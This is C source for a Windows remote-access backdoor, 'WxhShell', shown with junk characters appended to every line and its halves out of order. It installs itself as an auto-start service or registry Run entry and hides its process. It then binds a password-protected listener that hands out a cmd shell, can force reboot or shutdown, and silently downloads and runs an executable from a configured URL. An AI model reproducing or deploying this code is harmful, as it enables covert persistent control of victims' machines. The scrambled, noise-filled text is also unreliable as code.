    if(Boot(SHUTDOWN)) mDEO$:A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Di5eD,N  
    else { ry\Nm[SQ  
    closesocket(wsh); 7;:R\d6iL  
    ExitThread(0); EdlU}LU  
    } 2.{:PM4Z4  
    break; 12U1DEd>-  
    } 0k>bsn/ j  
  // 获取shell QFY1@2EC  
  case 's': {  F"FGPk  
    CmdShell(wsh); OBqaf )W  
    closesocket(wsh); wb~#=6Y  
    ExitThread(0); l ~CYxO  
    break; dYrw&gn  
  } -"Wp L2qD  
  // 退出 0-M.>fwZ=  
  case 'x': { {'C PLJ{R  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); nsIx5UA_n  
    CloseIt(wsh); Azv j(j  
    break; : KhAf2A  
    } Cp`)*P2  
  // 离开 &}_ $@  
  case 'q': { lQj3# !1}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); R*VRxQ,h6+  
    closesocket(wsh); 87l(a,#J  
    WSACleanup(); 62TWqQ!9d  
    exit(1); kG@~;*;l  
    break; Q'/v-bd?o  
        } /FJ )gQYA  
  } Aj((tMJNOw  
  } b-ZC~#?|b  
^&F8NEb=2>  
  // 提示信息 h)fJ2]JW8W  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fQ33J>  
} xTiC[<j  
  } f40xS7-Q0  
R8O; 8c?D  
  return; 1vk& ;  
} Opx"'HC@G  
i%w[v_j  
// shell模块句柄 |(G^3+5Uwm  
int CmdShell(SOCKET sock) HJWk%t<  
{ .Y|5i^i9{  
STARTUPINFO si; m<qPj"g~L  
ZeroMemory(&si,sizeof(si)); {_T?0L  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C ioM!D  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o|u<tuUW  
PROCESS_INFORMATION ProcessInfo; :ZX#w`Y  
char cmdline[]="cmd"; D]X&Va  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1(t{)Z<  
  return 0;  -i*{8t  
} [hC-} 9  
=kFZ2/P2t(  
// 自身启动模式 u}Kc>/AF  
int StartFromService(void)  #~QkS_  
{ S bI7<_  
typedef struct E>>@X^ =  
{ LgFF+z  
  DWORD ExitStatus; qM%l  
  DWORD PebBaseAddress; $fZVh%  
  DWORD AffinityMask; w6FtDl$  
  DWORD BasePriority; P(AcDG6K  
  ULONG UniqueProcessId; |rW,:&;  
  ULONG InheritedFromUniqueProcessId; n1n->l*HGP  
}   PROCESS_BASIC_INFORMATION; =E$Hq4I  
Ot,eAiaX  
PROCNTQSIP NtQueryInformationProcess; ukNB#2 "  
.rpKSf.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |uL"/cMW7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :+Ti^FF`w  
r0jhIE#  
  HANDLE             hProcess; rUgTJx&ds  
  PROCESS_BASIC_INFORMATION pbi; T7+_/ Qh  
"A?&`}%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); K6 D3  
  if(NULL == hInst ) return 0; 86+nFk  
bz$)@gLc  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N;N,5rxV  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4FLL*LCNX  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (NB\wJg $  
G_OLUuK?C  
  if (!NtQueryInformationProcess) return 0; mtfEK3?2*  
NABVU0}   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^q{=mf`  
  if(!hProcess) return 0; KlOL5"3  
V% -wZL/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =VXxQ\{  
'1rHvz`B/"  
  CloseHandle(hProcess); Ek#?B6s  
hf#[Vns  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); LYM(eK5V  
if(hProcess==NULL) return 0;  3"B$M  
]CL t Km  
HMODULE hMod; XNZW J  
char procName[255]; s,~)5nL  
unsigned long cbNeeded; Iq/V[v  
*Y"j 0Yob  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); f\c m84  
v>ygr8+C,  
  CloseHandle(hProcess); fT$Fv  
FH Hi/yh  
if(strstr(procName,"services")) return 1; // 以服务启动 (c3%rM m]  
>U4hsr05  
  return 0; // 注册表启动 w&U>w@H^  
} q2>dPI;3T  
( q8uB  
// 主模块 qC|$0  
int StartWxhshell(LPSTR lpCmdLine) q,ur[ &<  
{ JIJ79HB  
  SOCKET wsl; 0xZX%2E  
BOOL val=TRUE; 7R4xJ H  
  int port=0; -`d9dJ dB  
  struct sockaddr_in door; `-,yJ  
<OR f{  
  if(wscfg.ws_autoins) Install(); O C qI  
-XcX1_  
port=atoi(lpCmdLine); :Ca]/]]  
;_]Z3  
if(port<=0) port=wscfg.ws_port; >o45vB4o  
2p6`@8*34  
  WSADATA data; 4|yZA*Q^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @20~R/vh  
&i/QFO7y}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   WJXQM[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;`p!/9il  
  door.sin_family = AF_INET; %+A z X  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %BV 2 q  
  door.sin_port = htons(port); )'pc1I  
:f9O3QA  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { c+_F}2)  
closesocket(wsl); '5:P,1tW U  
return 1; 6e%|.}U  
} QAI!/bB  
vbn'CY]QU  
  if(listen(wsl,2) == INVALID_SOCKET) { Gd= l{~  
closesocket(wsl); (txr%Z0E  
return 1; 9gS.G2  
} N3C 8%  
  Wxhshell(wsl); J3;dRW  
  WSACleanup(); w =MZi=p  
~YYg~6}vV  
return 0; orU++,S4Pm  
\Gzo^w  
} F| ib=_)3  
ww0m1FzX  
// 以NT服务方式启动 fBZ\,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3aK/5)4|B  
{ BAUo`el5  
DWORD   status = 0; !uno!wUIYd  
  DWORD   specificError = 0xfffffff; ;:0gN|+  
slV7,4S&!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; y%9Q]7&=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; qrq9NPf  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \K,piCVViN  
  serviceStatus.dwWin32ExitCode     = 0; ZJ|@^^GcL  
  serviceStatus.dwServiceSpecificExitCode = 0; tOu:j [  
  serviceStatus.dwCheckPoint       = 0; x>E**a?!L  
  serviceStatus.dwWaitHint       = 0; e.Y*=P}D  
nV$ctdusQ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T-'B-g  
  if (hServiceStatusHandle==0) return; 9YtdE*,k  
Nvef+L,v  
status = GetLastError(); 4_A9o9&_Rh  
  if (status!=NO_ERROR) `6t3D&.u0  
{ Q<e`0cu|p  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /nX+*L}d/  
    serviceStatus.dwCheckPoint       = 0; |>Xw"]b;  
    serviceStatus.dwWaitHint       = 0; TYs#v/)I  
    serviceStatus.dwWin32ExitCode     = status; .x^`y2'U  
    serviceStatus.dwServiceSpecificExitCode = specificError; %5zztReI  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); cv'Fc  
    return; VB+sl2V<h  
  } Xc^7  
s\-^vj3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; N$j I&SI?}  
  serviceStatus.dwCheckPoint       = 0; [xVE0l*\   
  serviceStatus.dwWaitHint       = 0;  ;7F|g  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); H$ sNp\[{  
} l5jW`cl1  
i"rrM1/r  
// 处理NT服务事件,比如:启动、停止 (\^)@Y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Gn ]%'lrg'  
{ BBg&ZIYEh  
switch(fdwControl) F[ Itq  
{ P'nbyF  
case SERVICE_CONTROL_STOP: 9t$%Tc#Z  
  serviceStatus.dwWin32ExitCode = 0; GW(-'V/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Q)l]TgvSe  
  serviceStatus.dwCheckPoint   = 0; ^z[-pTY  
  serviceStatus.dwWaitHint     = 0; LX %8a^?;  
  {  xYMNyj~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 's]+.3">L1  
  } B) 81mcy  
  return; \I\'c.$I.Y  
case SERVICE_CONTROL_PAUSE: l7]$Wc[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; wmNc)P4  
  break; Wu 71q=  
case SERVICE_CONTROL_CONTINUE: OGy/8B2c  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; GM/3*S$c  
  break; N".-]bB  
case SERVICE_CONTROL_INTERROGATE: V zx%N.  
  break; S*H :/Ip  
}; KAg<s}gQJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )-3!-1  
} 1m/=MET]  
by {G{M`X  
// 标准应用程序主函数 |\/0S  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zr0_SCh;2  
{ 35Jno<TP'  
AJ;Y Nb  
// 获取操作系统版本 Lp \%-s#5s  
OsIsNt=GetOsVer(); k?.HW?=zy  
GetModuleFileName(NULL,ExeFile,MAX_PATH); lA4Bq  
NLJD}{8Ot  
  // 从命令行安装 Kis\Rg  
  if(strpbrk(lpCmdLine,"iI")) Install(); u1 uu_*  
Bx&.Tj  
  // 下载执行文件 g~L1e5C]z  
if(wscfg.ws_downexe) { zXB]Bf3TH  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?80@+y]  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;3n0 bKDY  
} }*n(RnCn  
lQ%]](a6  
if(!OsIsNt) { 5L<}u` 0J  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?=<vC  
HideProc(); }P$48o VY  
StartWxhshell(lpCmdLine); YbC6&_  
} &DX9m4,y  
else #lyvb.;  
  if(StartFromService()) t|*PC   
  // 以服务方式启动  ?4 `K8  
  StartServiceCtrlDispatcher(DispatchTable); @j$tpz  
else S,5>g07-`  
  // 普通方式启动 ^uW!=%D  
  StartWxhshell(lpCmdLine); KJa?TwnC  
?ng?>!  
return 0; 7"f$;CN?~  
} y+RT[*bX5o  
VI%879Z\e  
/Q"nQSG  
M* W=v  
=========================================== o'Q)V  
^zGgvFf>  
 "7!K'i  
]lF'o&v]  
jlER_I]  
:^SpKe(7  
" H ^Xw<Z=  
DYH-5yX7  
#include <stdio.h> Z*kGWL  
#include <string.h> 'uUp1+  
#include <windows.h> v@k62@;  
#include <winsock2.h> ~?vm97l  
#include <winsvc.h> =JyYU*G4  
#include <urlmon.h> )2oWoZ vi9  
|xH"Xvp:  
#pragma comment (lib, "Ws2_32.lib") DR9M8E  
#pragma comment (lib, "urlmon.lib") M[_~7~4  
xIF z@9+k  
#define MAX_USER   100 // 最大客户端连接数 RlX;c!K  
#define BUF_SOCK   200 // sock buffer GI$t8{M  
#define KEY_BUFF   255 // 输入 buffer ',0~\V  
vjJ!d#8  
#define REBOOT     0   // 重启 ]}9y>+>  
#define SHUTDOWN   1   // 关机 #;H,`r  
QB@qzgEJ!,  
#define DEF_PORT   5000 // 监听端口 N_L&!%s  
Bh*~I_Ta>  
#define REG_LEN     16   // 注册表键长度 Z`"UT#^SI  
#define SVC_LEN     80   // NT服务名长度 Ul[>LKFY  
kTex>1W;  
// 从dll定义API 3h"; 2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); O6;>]/`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); m7kDxs(KO  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); U:MkA(S%c  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <_ */  
aQN`C {nY  
// wxhshell配置信息 #rV=!j||  
struct WSCFG { @DkPJla&  
  int ws_port;         // 监听端口 ok'0Byo  
  char ws_passstr[REG_LEN]; // 口令 _OcgD<  
  int ws_autoins;       // 安装标记, 1=yes 0=no }QncTw0  
  char ws_regname[REG_LEN]; // 注册表键名 5"y p|Yl  
  char ws_svcname[REG_LEN]; // 服务名 svyC(m)'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5S$HDO&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 t2OXm  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?9!tMRb  
int ws_downexe;       // 下载执行标记, 1=yes 0=no N)  {  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;lX:EU  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 D{.%Dr?  
z.Y7u3K.8  
}; HcHfwLin0  
%8$JL=c  
// default Wxhshell configuration 2>fG}qYy$  
struct WSCFG wscfg={DEF_PORT, yL.si)h(p  
    "xuhuanlingzhe", 'A !Dg  
    1, [p!C+ |rro  
    "Wxhshell", gKb4n Nt  
    "Wxhshell", ^Sy\<  
            "WxhShell Service", #jr;.;8sQ  
    "Wrsky Windows CmdShell Service", S97.O@V!$  
    "Please Input Your Password: ", Z6>:k,-Ot  
  1, )\^o<x2S  
  "http://www.wrsky.com/wxhshell.exe", :v{ $]wg  
  "Wxhshell.exe" #TW$J/Jb  
    }; 9z'</tJ`  
lbg6n:@  
// 消息定义模块 7@EYF  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Yc?taL)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2y_rsu\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; J~gfMp.  
char *msg_ws_ext="\n\rExit."; f`A  
char *msg_ws_end="\n\rQuit."; r-N2*uYtu  
char *msg_ws_boot="\n\rReboot..."; f,M$>!$V  
char *msg_ws_poff="\n\rShutdown..."; AV d  
char *msg_ws_down="\n\rSave to "; @dCu]0oNI  
^#3$C?d  
char *msg_ws_err="\n\rErr!"; gyCb\y+\a  
char *msg_ws_ok="\n\rOK!"; J@Zm8r<  
).oqlA!  
char ExeFile[MAX_PATH]; =#Vdz=.  
int nUser = 0; d*A>P  
HANDLE handles[MAX_USER]; 1uV_C[:  
int OsIsNt; 9d[0i#`:q  
Bf'jXM{-  
SERVICE_STATUS       serviceStatus; }%k"qW<Y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <u2*(BM4  
n#J$=@  
// 函数声明 ]; ^OY\,  
int Install(void); #(aROTV5a  
int Uninstall(void); p6Z]oL q  
int DownloadFile(char *sURL, SOCKET wsh); 5)$U<^uy  
int Boot(int flag); /=e[(5X|O  
void HideProc(void); sWavxh8A  
int GetOsVer(void); ziH2<@  
int Wxhshell(SOCKET wsl); MqoQs{x  
void TalkWithClient(void *cs); E=QL4*?   
int CmdShell(SOCKET sock); g=U?{<8.m  
int StartFromService(void); X'?v8\mPK  
int StartWxhshell(LPSTR lpCmdLine); -'}iK6  
/WHhwMc!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); p Hg8(ru|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); lf|^^2'*2<  
uhc0,V;S  
// 数据结构和表定义 G=nFs)z  
SERVICE_TABLE_ENTRY DispatchTable[] = :!}zdeRJ  
{ /$eEj  
{wscfg.ws_svcname, NTServiceMain}, E0O{5YF^T  
{NULL, NULL} FJU)AjS~  
}; ^ w&TTo(  
)D[xY0Y~  
// 自我安装 }7.q[ ^oF  
int Install(void) EL}v>sC  
{ M;iaNL(  
  char svExeFile[MAX_PATH]; *|E@ 81s#  
  HKEY key; [qZ4+xF,,  
  strcpy(svExeFile,ExeFile); s}z,{Y$-t  
yPQ{tS*t  
// 如果是win9x系统,修改注册表设为自启动 $s]@%6 f  
if(!OsIsNt) { jQ^Ib]"K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HJcZ~5jf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >8 JvnBFx=  
  RegCloseKey(key); Bp/8 >E O`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GzB%vsv9 5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "V^jAPDXb  
  RegCloseKey(key); %[Ds-my2  
  return 0; Y 4714  
    } &9ZIf#R  
  } H~G=0_S  
} ^@19cU?q  
else { =OHDp7GXO>  
d.} rn"(z  
// 如果是NT以上系统,安装为系统服务 ^|K*lI/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); S}< <jI-z  
if (schSCManager!=0) #TSM#Uqe  
{ a<o0B{7{BM  
  SC_HANDLE schService = CreateService _:K}DU'6  
  ( jU#%@d6!#  
  schSCManager, nb|MHtPX  
  wscfg.ws_svcname, `nM4kt7  
  wscfg.ws_svcdisp, hy]AH)?pR  
  SERVICE_ALL_ACCESS, fZ376Z:S$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , KJ#c(yb9zR  
  SERVICE_AUTO_START, ]Aluk|"`U  
  SERVICE_ERROR_NORMAL, n=>Gu9`  
  svExeFile, xeH# )QJt  
  NULL, 785iY865  
  NULL, r9t{/})A  
  NULL, *FE<'+%  
  NULL, [ho'Pc3A<  
  NULL Z*QRdB%,  
  ); N-Z 9  
  if (schService!=0) p{,fWk  
  { /<2_K4(-{4  
  CloseServiceHandle(schService); qB:`tHy  
  CloseServiceHandle(schSCManager); Hb$q}1+y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); mzw*6e2T  
  strcat(svExeFile,wscfg.ws_svcname); h/k`+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { e5/_Vga  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .o8Gi*PEY  
  RegCloseKey(key); 1k~jVC2VA  
  return 0; n$?oZ *;  
    } }rQ*!2Y?  
  } G`P+J  
  CloseServiceHandle(schSCManager); ;8v5 qz  
} 'oEmbk8Hg  
} $+);!?^|:  
ie ,{C  
return 1; 950b9Vn&  
} `^}9= Q'r  
B>mQ\Q  
// 自我卸载 !I Nr  
int Uninstall(void) pqr" x2=.  
{ 5a~1RL  
  HKEY key; I|5OCTu  
onlyvH4  
if(!OsIsNt) { \*N1i`99  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =e+go ]87x  
  RegDeleteValue(key,wscfg.ws_regname); B dKwWgi+a  
  RegCloseKey(key); `Qhh{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k$2Y)  
  RegDeleteValue(key,wscfg.ws_regname); 6GN'rVr!Z  
  RegCloseKey(key); ;uDFd04w [  
  return 0; ] QEw\4M?=  
  } c9[5)  
} =3:ltI.'*I  
} ~;W%s  
else { W{h7+X]Y  
f1{ckHAY55  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); l*u@T|Fc$  
if (schSCManager!=0) 4jW{IGW  
{ *Tlv'E.M  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); FdqUv% (Em  
  if (schService!=0) k?#6j1pn  
  { 40E[cGz$*  
  if(DeleteService(schService)!=0) { neBkwXF!  
  CloseServiceHandle(schService); ;:4puv+]  
  CloseServiceHandle(schSCManager); '$zFGq }}  
  return 0; hMQ aT-v  
  } <b\urtoJ  
  CloseServiceHandle(schService); MI}D%n*  
  } qSd $$L^  
  CloseServiceHandle(schSCManager); t|m3b~Oyv  
} r:cUAe7#  
} 4HJrR^  
Qi61(lK  
return 1; S`G\Cd;5  
} [ZbK)L+_  
&)l:m.  
// 从指定url下载文件 8f.La  
int DownloadFile(char *sURL, SOCKET wsh) }NXESZYoi  
{  V("1\  
  HRESULT hr; {V8Pn2mlo  
char seps[]= "/";  #L)rz u  
char *token; LcXMOT)s  
char *file; 'w2;oO  
char myURL[MAX_PATH]; Z:_y,( 1Q  
char myFILE[MAX_PATH]; ?zEF?LJoK  
(AYD @  
strcpy(myURL,sURL); 4=Ey\Px  
  token=strtok(myURL,seps); dq(x@&J  
  while(token!=NULL) H.L@]~AyL  
  { `{Jb{L@f  
    file=token; 7yp*I[1Qf>  
  token=strtok(NULL,seps); $#r(1 Ev  
  } 1N+#(<x@,  
^n/uY94E)p  
GetCurrentDirectory(MAX_PATH,myFILE); IoA;q)  
strcat(myFILE, "\\"); BR2y1Hfi  
strcat(myFILE, file); J.nq[/Q=  
  send(wsh,myFILE,strlen(myFILE),0); q~n2VU4L*  
send(wsh,"...",3,0); Q\76jD`m\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); iIFQRnpu;3  
  if(hr==S_OK) <B`V  
return 0; 4lA+V,#  
else ShpnFuH  
return 1; lI 1lP 1  
lNb\^b  
} zTLn*?  
Sg-xm+iSDt  
// 系统电源模块 |BW,pT  
int Boot(int flag) S2)S/ nf  
{ 3p4?-Dd|_$  
  HANDLE hToken; %j@FZ )a[  
  TOKEN_PRIVILEGES tkp; ^&iV%vQ[  
jvQ"cs$.  
  if(OsIsNt) { }H=OVbQor  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (Y([^N q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }Kt?0  
    tkp.PrivilegeCount = 1;  o 2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; wY#mL1dF  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Bv8C_-lV/  
if(flag==REBOOT) { VaxO L61xE  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) __j8jEV  
  return 0; .TC `\mV  
} sd53 _s V  
else { R6;>RRU_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) aB^G  
  return 0; t5h_Q92N  
} Z<W6Avr  
  } E 6: p  
  else { U[l%oLra  
if(flag==REBOOT) { ItADO'M  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l #Q`f.  
  return 0; d&`j 8O  
} jm\#($gl=  
else {  #Uh 5tc  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "ux]kfoT  
  return 0; )\vHIXnfJ1  
} {R;M`EU>  
} yU,xcq~l  
8n5nHne  
return 1; aUK4{F ;  
} tY=%@v'6?  
s2~dmZ_B|_  
// win9x进程隐藏模块 *GP_ut%  
void HideProc(void) GDp p`'\  
{ !T#y r)  
p^P y,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "Q{~Bj~  
  if ( hKernel != NULL ) 4/?}xD|?  
  { &Fjilx'k  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1 ],, Ar5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); D 'cY7P  
    FreeLibrary(hKernel); RH]>>tJ^e  
  } *]R 0z|MW  
CqK#O'\  
return; {yMA7W7]  
} v`^J3A  
UUu-(H-J  
// 获取操作系统版本 *`Xx_   
int GetOsVer(void) }Y`<(V5:  
{ bpa O`[*  
  OSVERSIONINFO winfo; ]31XX=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Xe;(y "pR  
  GetVersionEx(&winfo); 8Ql'(5|T  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bs EpET  
  return 1; W'h0Zg  
  else ><Z3<7K9  
  return 0; {@__%=`CCS  
} ih |Ky+!  
e=sJMzm~  
// 客户端句柄模块 F*t_lN5{  
int Wxhshell(SOCKET wsl)  F'FZ?*a  
{  x9"4vp  
  SOCKET wsh; |qcFmy  
  struct sockaddr_in client; l/zC##1+.  
  DWORD myID; P<!$A  
(%yc5+f!  
  while(nUser<MAX_USER) !]+Z%ed`%  
{ 5!jNL~M  
  int nSize=sizeof(client); > ' 0 ][~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6h6?BQSE  
  if(wsh==INVALID_SOCKET) return 1; wZ8 MhE  
kN |5 J  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]/Yy-T#@  
if(handles[nUser]==0) OP`Jc$| 6  
  closesocket(wsh); ?%/u/*9rj  
else X2dc\v.x  
  nUser++; ~X<cG=p~u  
  } 7[v@*/W@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !{tiTA  
Y%:0|utQC  
  return 0; 5b1uD>,;y  
} rjHIQC C  
4bev* [k  
// 关闭 socket $KWYe{#  
void CloseIt(SOCKET wsh) Yz-JI=  
{ Fra>|;do  
closesocket(wsh); 76A>^Bs\/  
nUser--; IAF;mv}'  
ExitThread(0); Secq^#]8  
} M'zS7=F!:  
5 k%9>U%$  
// 客户端请求句柄 S=H_9io  
void TalkWithClient(void *cs) 0T#xM(q[K  
{ N&^xq_9&  
h@;)dLo0z  
  SOCKET wsh=(SOCKET)cs; 'K`Rbhy  
  char pwd[SVC_LEN]; ~,*YmB=Z  
  char cmd[KEY_BUFF]; T<+ht8&M8  
char chr[1]; I+"?,Ej$K  
int i,j; $.Q>M]xH  
N^ s!!Sbpq  
  while (nUser < MAX_USER) { p&sK\   
VkDS&g~Ws  
if(wscfg.ws_passstr) { XQ 3*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4Kn9*V  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mvq7G  
  //ZeroMemory(pwd,KEY_BUFF); PB(  
      i=0; ]osx.  
  while(i<SVC_LEN) { ]TBtLU3  
o9Txo (tYU  
  // 设置超时 qwF*(pTHq  
  fd_set FdRead; Z@,PZ   
  struct timeval TimeOut; WVWS7N\  
  FD_ZERO(&FdRead); n(1wdlEp  
  FD_SET(wsh,&FdRead); 3p3WDL7  
  TimeOut.tv_sec=8; 6`qr:.  
  TimeOut.tv_usec=0; Q:kVCm/;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); i&pJg1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6b ]1d04hT  
UiR,^/8ED  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r%F(?gKXkd  
  pwd=chr[0]; _+\:OB[Y  
  if(chr[0]==0xd || chr[0]==0xa) { 9 rTz N  
  pwd=0; _2m[(P9d  
  break; O}MZ-/z=o~  
  } vXWsF\g  
  i++; slge+xq\J  
    } %l:|2s:  
d]CviQUq  
  // 如果是非法用户,关闭 socket 97Zk P=Cq  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Wm)-zvNY;  
} NFY|^*bll  
L$lo~7<]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); tS (i711  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6h2x~@  
t{Hh&HX  
while(1) { 9^PRX  
!@pV)RUv7  
  ZeroMemory(cmd,KEY_BUFF); X a"XB  
AhvvuN$n%  
      // 自动支持客户端 telnet标准   lk_s!<ni  
  j=0; X'FEOF  
  while(j<KEY_BUFF) { .]j#y9>&w%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7|QGY7Tf  
  cmd[j]=chr[0]; 5#0A`QO   
  if(chr[0]==0xa || chr[0]==0xd) { 0R@g(  
  cmd[j]=0; Iz}2 ^  
  break; +urS5c* j  
  } `6Ureui2?  
  j++; )W8L91-  
    } @7@e`b?  
W$" Y%^L  
  // 下载文件 h L]8e>a?  
  if(strstr(cmd,"http://")) { _%wK}eH+sy  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -G],H)M  
  if(DownloadFile(cmd,wsh)) gX@nPZjg  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); G la@l<  
  else pbDw Lo]  
